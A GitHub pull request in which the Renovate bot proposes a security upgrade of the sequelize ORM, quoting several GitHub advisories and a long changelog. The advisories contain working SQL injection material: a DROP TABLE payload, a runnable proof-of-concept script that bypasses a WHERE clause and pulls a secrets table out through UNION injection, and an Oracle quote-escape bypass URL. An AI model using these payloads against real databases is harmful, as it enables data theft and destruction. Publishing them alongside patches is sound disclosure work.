Skip to content

Update dependency sequelize to v6.37.8 [SECURITY] - #76

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-sequelize-vulnerability
Open

Update dependency sequelize to v6.37.8 [SECURITY]#76
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-sequelize-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Aug 6, 2024

Copy link
Copy Markdown

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
sequelize (source) 6.5.06.37.8 age confidence

Sequelize vulnerable to SQL Injection via replacements

CVE-2023-25813 / GHSA-wrh9-cjv3-2hpw

More information

Details

Impact

The SQL injection exploit is related to replacements. Here is such an example:

In the following query, some parameters are passed through replacements, and some are passed directly through the where option.

User.findAll({
  where: or(
    literal('soundex("firstName") = soundex(:firstName)'),
    { lastName: lastName },
  ),
  replacements: { firstName },
})

This is a very legitimate use case, but this query was vulnerable to SQL injection due to how Sequelize processed the query: Sequelize built a first query using the where option, then passed it over to sequelize.query which parsed the resulting SQL to inject all :replacements.

If the user passed values such as

{
  "firstName": "OR true; DROP TABLE users;",
  "lastName": ":firstName"
}

Sequelize would first generate this query:

SELECT * FROM users WHERE soundex("firstName") = soundex(:firstName) OR "lastName" = ':firstName'

Then would inject replacements in it, which resulted in this:

SELECT * FROM users WHERE soundex("firstName") = soundex('OR true; DROP TABLE users;') OR "lastName" = ''OR true; DROP TABLE users;''

As you can see this resulted in arbitrary user-provided SQL being executed.

Patches

The issue was fixed in Sequelize 6.19.1

Workarounds

Do not use the replacements and the where option in the same query if you are not using Sequelize >= 6.19.1

References

See this thread for more information: https://github.com/sequelize/sequelize/issues/14519

Snyk: https://security.snyk.io/vuln/SNYK-JS-SEQUELIZE-2932027

Severity

  • CVSS Score: 10.0 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Sequelize information disclosure vulnerability

CVE-2023-22580 / GHSA-8c25-f3mj-v6h8

More information

Details

Due to improper input filtering in the sequelize js library, can malicious queries lead to sensitive information disclosure.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Unsafe fall-through in getWhereConditions

CVE-2023-22579 / GHSA-vqfx-gj96-3w95

More information

Details

Impact

Providing an invalid value to the where option of a query caused Sequelize to ignore that option instead of throwing an error.

A finder call like the following did not throw an error:

User.findAll({
  where: new Date(),
});

As this option is typically used with plain javascript objects, be aware that this only happens at the top level of this option.

Patches

This issue has been patched in sequelize@6.28.1 & @sequelize/core@7.0.0.alpha-20

References

A discussion thread about this issue is open at https://github.com/sequelize/sequelize/discussions/15698

CVE: CVE-2023-22579
Snyk: https://security.snyk.io/vuln/SNYK-JS-SEQUELIZE-3324090

Severity

  • CVSS Score: 9.9 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Sequelize - Default support for “raw attributes” when using parentheses

CVE-2023-22578 / GHSA-f598-mfpv-gmfx

More information

Details

Impact

Sequelize 6.28.2 and prior has a dangerous feature where using parentheses in the attribute option would make Sequelize use the string as-is in the SQL

User.findAll({
  attributes: [
    ['count(id)', 'count']
  ]
});

Produced

SELECT count(id) AS "count" FROM "users"
Patches

This feature was deprecated in Sequelize 5, and using it prints a deprecation warning.

This issue has been patched in @sequelize/core@7.0.0.alpha-20 and sequelize@6.29.0.

In Sequelize 7, it now produces the following:

SELECT "count(id)" AS "count" FROM "users"

In Sequelize 6, it throws an error explaining that we had to introduce a breaking change, and requires the user to explicitly opt-in to either the Sequelize 7 behavior (always escape) or the Sequelize 5 behavior (inline attributes that include () without escaping). See https://github.com/sequelize/sequelize/pull/15710 for more information.

Mitigations

Do not use user-provided content to build your list or attributes. If you do, make sure that attribute in question actually exists on your model by checking that it exists in the rawAttributes property of your model first.


A discussion thread about this issue is open at https://github.com/sequelize/sequelize/discussions/15694
CVE: CVE-2023-22578

Severity

  • CVSS Score: 10.0 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Sequelize v6 Vulnerable to SQL Injection via JSON Column Cast Type

CVE-2026-30951 / GHSA-6457-6jrx-69cr

More information

Details

Summary

SQL injection via unescaped cast type in JSON/JSONB where clause processing. The _traverseJSON() function splits JSON path keys on :: to extract a cast type, which is interpolated raw into CAST(... AS <type>) SQL. An attacker who controls JSON object keys can inject arbitrary SQL and exfiltrate data from any table.

Affected: v6.x through 6.37.7. v7 (@sequelize/core) is not affected.

Details

In src/dialects/abstract/query-generator.js, _traverseJSON() extracts a cast type from :: in JSON keys without validation:

// line 1892
_traverseJSON(items, baseKey, prop, item, path) {
    let cast;
    if (path[path.length - 1].includes("::")) {
      const tmp = path[path.length - 1].split("::");
      cast = tmp[1];       // attacker-controlled, no escaping
      path[path.length - 1] = tmp[0];
    }
    // ...
    items.push(this.whereItemQuery(this._castKey(pathKey, item, cast), { [Op.eq]: item }));
}

_castKey() (line 1925) passes it to Utils.Cast, and handleSequelizeMethod() (line 1692) interpolates it directly:

return `CAST(${result} AS ${smth.type.toUpperCase()})`;

JSON path values are escaped via this.escape() in jsonPathExtractionQuery(), but the cast type is not.

Suggested fix — whitelist known SQL data types:

const ALLOWED_CAST_TYPES = new Set([
  'integer', 'text', 'real', 'numeric', 'boolean', 'date',
  'timestamp', 'timestamptz', 'json', 'jsonb', 'float',
  'double precision', 'bigint', 'smallint', 'varchar', 'char',
]);

if (cast && !ALLOWED_CAST_TYPES.has(cast.toLowerCase())) {
  throw new Error(`Invalid cast type: ${cast}`);
}
PoC

npm install sequelize@6.37.7 sqlite3

const { Sequelize, DataTypes } = require('sequelize');

async function main() {
  const sequelize = new Sequelize('sqlite::memory:', { logging: false });

  const User = sequelize.define('User', {
    username: DataTypes.STRING,
    metadata: DataTypes.JSON,
  });

  const Secret = sequelize.define('Secret', {
    key: DataTypes.STRING,
    value: DataTypes.STRING,
  });

  await sequelize.sync({ force: true });

  await User.bulkCreate([
    { username: 'alice', metadata: { role: 'admin', level: 10 } },
    { username: 'bob',   metadata: { role: 'user',  level: 5 } },
    { username: 'charlie', metadata: { role: 'user', level: 1 } },
  ]);

  await Secret.bulkCreate([
    { key: 'api_key', value: 'sk-secret-12345' },
    { key: 'db_password', value: 'super_secret_password' },
  ]);

  // TEST 1: WHERE clause bypass
  const r1 = await User.findAll({
    where: { metadata: { 'role::text) or 1=1--': 'anything' } },
    logging: (sql) => console.log('SQL:', sql),
  });
  console.log('OR 1=1:', r1.map(u => u.username));
  // Returns ALL rows: ['alice', 'bob', 'charlie']

  // TEST 2: UNION-based cross-table exfiltration
  const r2 = await User.findAll({
    where: {
      metadata: {
        'role::text) and 0 union select id,key,value,null,null from Secrets--': 'x'
      }
    },
    raw: true,
    logging: (sql) => console.log('SQL:', sql),
  });
  console.log('UNION:', r2.map(r => `${r.username}=${r.metadata}`));
  // Returns: api_key=sk-secret-12345, db_password=super_secret_password
}

main().catch(console.error);

Output:

SQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt`
  FROM `Users` AS `User`
  WHERE CAST(json_extract(`User`.`metadata`,'$.role') AS TEXT) OR 1=1--) = 'anything';
OR 1=1: [ 'alice', 'bob', 'charlie' ]

SQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt`
  FROM `Users` AS `User`
  WHERE CAST(json_extract(`User`.`metadata`,'$.role') AS TEXT) AND 0
  UNION SELECT ID,KEY,VALUE,NULL,NULL FROM SECRETS--) = 'x';
UNION: [ 'api_key=sk-secret-12345', 'db_password=super_secret_password' ]
Impact

SQL Injection (CWE-89) — Any application that passes user-controlled objects as where clause values for JSON/JSONB columns is vulnerable. An attacker can exfiltrate data from any table in the database via UNION-based or boolean-blind injection. All dialects with JSON support are affected (SQLite, PostgreSQL, MySQL, MariaDB).

A common vulnerable pattern:

app.post('/api/users/search', async (req, res) => {
  const users = await User.findAll({
    where: { metadata: req.body.filter }  // user controls JSON object keys
  });
  res.json(users);
});

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Sequelize: SQL Injection (Oracle DB)

CVE-2026-69240 / GHSA-v8fg-2rw7-q452

More information

Details

Summary

SQL Injection is possible with strings only if dialect is set to oracle.
The vulnerability was confirmed on Sequelize v6.37.3.

Details

The escape function defined in sql-string.js does not escape quotes if the value starts with TO_TIMESTAMP or TO_DATE.

  } else if (dialect === 'oracle' && typeof val === 'string') {
    if (val.startsWith('TO_TIMESTAMP') || val.startsWith('TO_DATE')) {
      return val;
    }
    val = val.replace(/'/g, "''");
  }
PoC

Suppose the application has the following code:

  var result = await models.Student.findOne({
    where: {
      firstName: req.query.firstName
    }
  });

An attacker can inject arbitrary sql expressions.

http://host/path?firstName=TO_DATE('0','Y')||'' OR 1=1--

The resulted SQL will be:

SELECT ... WHERE "Student"."firstName" = TO_DATE('0','Y')||'' OR 1=1-- ORDER BY "Student"."id" OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLY;
Impact

Data theft and tampering.

Severity

  • CVSS Score: 9.8 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

sequelize/sequelize (sequelize)

v6.37.8

Compare Source

Security improvements

v6.37.7

Compare Source

Bug Fixes
  • oracle: fix changeColumn SQL for BLOB to avoid implicit conversion (#​17719) (5b7c801)

v6.37.6

Compare Source

Meta

v6.37.5

Compare Source

Bug Fixes

v6.37.4

Compare Source

Bug Fixes

v6.37.3

Compare Source

Bug Fixes
  • postgres: use schema for foreign key constrains of a table (#​17099) (6aba382)

v6.37.2

Compare Source

Bug Fixes

v6.37.1

Compare Source

Bug Fixes

v6.37.0

Compare Source

Features

v6.36.0

Compare Source

Features

v6.35.2

Compare Source

Bug Fixes

v6.35.1

Compare Source

Bug Fixes
  • mssql: allow calling describeTable a table with a dot in its name (#​16769) (47cba67)

v6.35.0

Compare Source

Features

v6.34.0

Compare Source

Bug Fixes
Features

v6.33.0

Compare Source

Bug Fixes
Features

v6.32.1

Compare Source

Bug Fixes

v6.32.0

Compare Source

Bug Fixes
Features

v6.31.1

Compare Source

Bug Fixes
  • postgres: adds support for minifying through join aliases (#​15897) (a9fd501)

v6.31.0

Compare Source

Bug Fixes
Features

v6.30.0

Compare Source

Bug Fixes
Features
  • postgres, sqlite: add conflictWhere option to Model.bulkCreate (#​15788) (295c297)
  • postgres, sqlite: add conflictWhere option to upsert (#​15786) (1e68681)
  • postgres, sqlite: allow override of conflict keys for bulkCreate (#​15787) (2e50bd9)

v6.29.3

Compare Source

Bug Fixes

v6.29.2

Compare Source

Bug Fixes

v6.29.1

Compare Source

Bug Fixes
  • postgres: make sync not fail when trying to create existing enum (#​15718) (1b94462)

v6.29.0

Compare Source

Features

v6.28.2

Compare Source

Bug Fixes

v6.28.1

Compare Source

Bug Fixes

v6.28.0

Compare Source

Features
  • types: use retry-as-promised types for retry options to match documentation (#​15484) (fd4afa6)

v6.27.0

Compare Source

Features

v6.26.0

Compare Source

Features

v6.25.8

Compare Source

Bug Fixes

v6.25.7

Compare Source

Bug Fixes

v6.25.6

Compare Source

Bug Fixes

v6.25.5

Compare Source

Bug Fixes

v6.25.4

Compare Source

Bug Fixes

v6.25.3

Compare Source

Bug Fixes
  • don't treat \ as escape in standard strings, support E-strings, support vars after ->> operator, treat lowercase e as valid e-string prefix (#​15139) (7990095), closes #​14700

v6.25.2

Compare Source

Bug Fixes
  • types: fix TS 4.9 excessive depth error on InferAttributes (v6) (#​15135) (851daaf)

v6.25.1

Compare Source

Bug Fixes

v6.25.0

Compare Source

Features

v6.24.0

Compare Source

Features
  • snowflake: Add support for QueryGenerator#tableExistsQuery (#​15087) (a44772e)

v6.23.2

Compare Source

Bug Fixes
  • postgres: add custom order direction to subQuery ordering with minified alias (#​15056) (7203b66)

v6.23.1

Compare Source

Bug Fixes

v6.23.0

Compare Source

Features

v6.22.1

Compare Source

Bug Fixes

v6.22.0

Compare Source

Features

v6.21.6

Compare Source

Bug Fixes

v6.21.5

Compare Source

Bug Fixes

v6.21.4

Compare Source

Bug Fixes

v6.21.3

Compare Source

Bug Fixes
  • postgres: attach postgres error-handler earlier in lifecycle (v6) (#​14731) (90bb694)

v6.21.2

Compare Source

Bug Fixes

v6.21.1

Compare Source

Bug Fixes

v6.21.0

Compare Source

Features
  • exports types to support typescript >= 4.5 nodenext module (#​14620) (cbdf73e)

v6.20.1

Compare Source

Bug Fixes

v6.20.0

Compare Source

Features

v6.19.2

Compare Source

Bug Fixes

v6.19.1

Compare Source

Bug Fixes

⚠️ BREAKING CHANGE: This change is a security fix that patches a serious SQL injection vulnerability, however it is possible that your application made use of it and broke as a result of this change. Please see this issue for more information.

v6.19.0

Compare Source

Bug Fixes
Features
  • types: make Model.init aware of pre-configured foreign keys (#​14370) (5954d2c)

v6.18.0

Compare Source

Features
  • add whereScopeStrategy to merge where scopes with Op.and (#​14152) (8349c02)

v6.17.0

Compare Source

Bug Fixes
Features

v6.16.3

Compare Source

Bug Fixes

v6.16.2

Compare Source

Bug Fixes

v6.16.1

Compare Source

Bug Fixes

v6.16.0

Compare Source

Features

v6.15.1

Compare Source

Bug Fixes

v6.15.0

Compare Source

Bug Fixes
Features

v6.14.1

Compare Source

Bug Fixes

v6.14.0

Compare Source

Bug Fixes
  • don't call overloaded versions of find functions internally (#​13951) (fc53cdb)
  • don't call overloaded versions of find functions internally (#​13951) (b253d8e)
  • model.d: fix type for count and `

Note

PR body was truncated to here.


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate
renovate Bot force-pushed the renovate/npm-sequelize-vulnerability branch from f5e6e4b to 4e65944 Compare August 28, 2024 07:48
@renovate
renovate Bot force-pushed the renovate/npm-sequelize-vulnerability branch from 4e65944 to 35d903b Compare October 9, 2024 10:30
@renovate
renovate Bot force-pushed the renovate/npm-sequelize-vulnerability branch from 35d903b to f5b2c4d Compare October 24, 2024 20:27
@renovate
renovate Bot force-pushed the renovate/npm-sequelize-vulnerability branch from f5b2c4d to 4923616 Compare December 2, 2024 08:31
@renovate
renovate Bot force-pushed the renovate/npm-sequelize-vulnerability branch 2 times, most recently from 23649eb to d459472 Compare January 30, 2025 16:58
@renovate
renovate Bot force-pushed the renovate/npm-sequelize-vulnerability branch from d459472 to da2d58a Compare February 9, 2025 14:52
@renovate
renovate Bot force-pushed the renovate/npm-sequelize-vulnerability branch from da2d58a to 713d9a9 Compare March 3, 2025 17:22
@renovate
renovate Bot force-pushed the renovate/npm-sequelize-vulnerability branch from 713d9a9 to 442842d Compare March 11, 2025 13:14
@renovate
renovate Bot force-pushed the renovate/npm-sequelize-vulnerability branch 2 times, most recently from 5c299f0 to 523e401 Compare April 8, 2025 10:03
@renovate
renovate Bot force-pushed the renovate/npm-sequelize-vulnerability branch from 523e401 to 4c087a8 Compare April 24, 2025 10:55
@renovate
renovate Bot force-pushed the renovate/npm-sequelize-vulnerability branch from 4c087a8 to f2fec21 Compare May 19, 2025 16:31
@renovate
renovate Bot force-pushed the renovate/npm-sequelize-vulnerability branch 2 times, most recently from 290b0b8 to 330cb78 Compare June 4, 2025 09:49
@renovate
renovate Bot force-pushed the renovate/npm-sequelize-vulnerability branch from 330cb78 to ff85f26 Compare June 22, 2025 12:30
@renovate
renovate Bot force-pushed the renovate/npm-sequelize-vulnerability branch from ff85f26 to 5c5b4dc Compare July 2, 2025 14:57
@renovate
renovate Bot force-pushed the renovate/npm-sequelize-vulnerability branch from 5c5b4dc to d57449a Compare August 10, 2025 14:34
@renovate
renovate Bot force-pushed the renovate/npm-sequelize-vulnerability branch from d57449a to 526211e Compare August 19, 2025 13:34
@renovate
renovate Bot force-pushed the renovate/npm-sequelize-vulnerability branch from 526211e to 833ff6d Compare September 25, 2025 15:43
@renovate
renovate Bot force-pushed the renovate/npm-sequelize-vulnerability branch from 833ff6d to 683cb37 Compare October 21, 2025 09:56
@renovate
renovate Bot force-pushed the renovate/npm-sequelize-vulnerability branch from 683cb37 to 0011e41 Compare November 10, 2025 19:45
@renovate
renovate Bot force-pushed the renovate/npm-sequelize-vulnerability branch from 0011e41 to 3acdd26 Compare November 18, 2025 22:32
@renovate
renovate Bot force-pushed the renovate/npm-sequelize-vulnerability branch from 3acdd26 to 5009aef Compare December 31, 2025 15:36
@renovate
renovate Bot force-pushed the renovate/npm-sequelize-vulnerability branch 2 times, most recently from 994fb57 to cc962b5 Compare January 23, 2026 17:15
@renovate
renovate Bot force-pushed the renovate/npm-sequelize-vulnerability branch from cc962b5 to b4dd494 Compare February 2, 2026 21:06
@renovate
renovate Bot force-pushed the renovate/npm-sequelize-vulnerability branch from b4dd494 to 7e8d5cc Compare February 12, 2026 18:32
@renovate
renovate Bot force-pushed the renovate/npm-sequelize-vulnerability branch from 7e8d5cc to 8384bd0 Compare March 5, 2026 14:50
@renovate
renovate Bot force-pushed the renovate/npm-sequelize-vulnerability branch from 8384bd0 to 79cd3d9 Compare March 13, 2026 10:50
@renovate renovate Bot changed the title Update dependency sequelize to v6.29.0 [SECURITY] Update dependency sequelize to v6.29.0 [SECURITY] - autoclosed Mar 27, 2026
@renovate renovate Bot closed this Mar 27, 2026
@renovate
renovate Bot deleted the renovate/npm-sequelize-vulnerability branch March 27, 2026 04:33
@renovate renovate Bot changed the title Update dependency sequelize to v6.29.0 [SECURITY] - autoclosed Update dependency sequelize to v6.29.0 [SECURITY] Mar 30, 2026
@renovate renovate Bot reopened this Mar 30, 2026
@renovate
renovate Bot force-pushed the renovate/npm-sequelize-vulnerability branch 2 times, most recently from 79cd3d9 to 404a559 Compare March 30, 2026 17:36
@renovate
renovate Bot force-pushed the renovate/npm-sequelize-vulnerability branch from 404a559 to b992e1a Compare April 8, 2026 18:09
@renovate renovate Bot changed the title Update dependency sequelize to v6.29.0 [SECURITY] Update dependency sequelize to v6.29.0 [SECURITY] - autoclosed Apr 27, 2026
@renovate renovate Bot closed this Apr 27, 2026
@renovate renovate Bot changed the title Update dependency sequelize to v6.29.0 [SECURITY] - autoclosed Update dependency sequelize to v6.29.0 [SECURITY] Apr 27, 2026
@renovate renovate Bot reopened this Apr 27, 2026
@renovate
renovate Bot force-pushed the renovate/npm-sequelize-vulnerability branch 2 times, most recently from b992e1a to 0c4e34b Compare April 27, 2026 23:29
@renovate
renovate Bot force-pushed the renovate/npm-sequelize-vulnerability branch 2 times, most recently from 443bec8 to 8d4906e Compare May 18, 2026 18:39
@renovate
renovate Bot force-pushed the renovate/npm-sequelize-vulnerability branch from 8d4906e to 9dc90fc Compare May 28, 2026 17:34
@renovate
renovate Bot force-pushed the renovate/npm-sequelize-vulnerability branch from 9dc90fc to f6afe57 Compare June 11, 2026 13:56
@renovate
renovate Bot force-pushed the renovate/npm-sequelize-vulnerability branch from f6afe57 to 3f6c5a4 Compare July 12, 2026 11:54
@renovate
renovate Bot force-pushed the renovate/npm-sequelize-vulnerability branch from 3f6c5a4 to 8190cff Compare July 30, 2026 20:52
@renovate
renovate Bot force-pushed the renovate/npm-sequelize-vulnerability branch from 8190cff to 7a816de Compare August 12, 2026 01:46
@renovate
renovate Bot force-pushed the renovate/npm-sequelize-vulnerability branch from 7a816de to c194eb6 Compare August 26, 2026 17:17
@renovate renovate Bot changed the title Update dependency sequelize to v6.29.0 [SECURITY] Update dependency sequelize to v6.37.8 [SECURITY] Aug 26, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants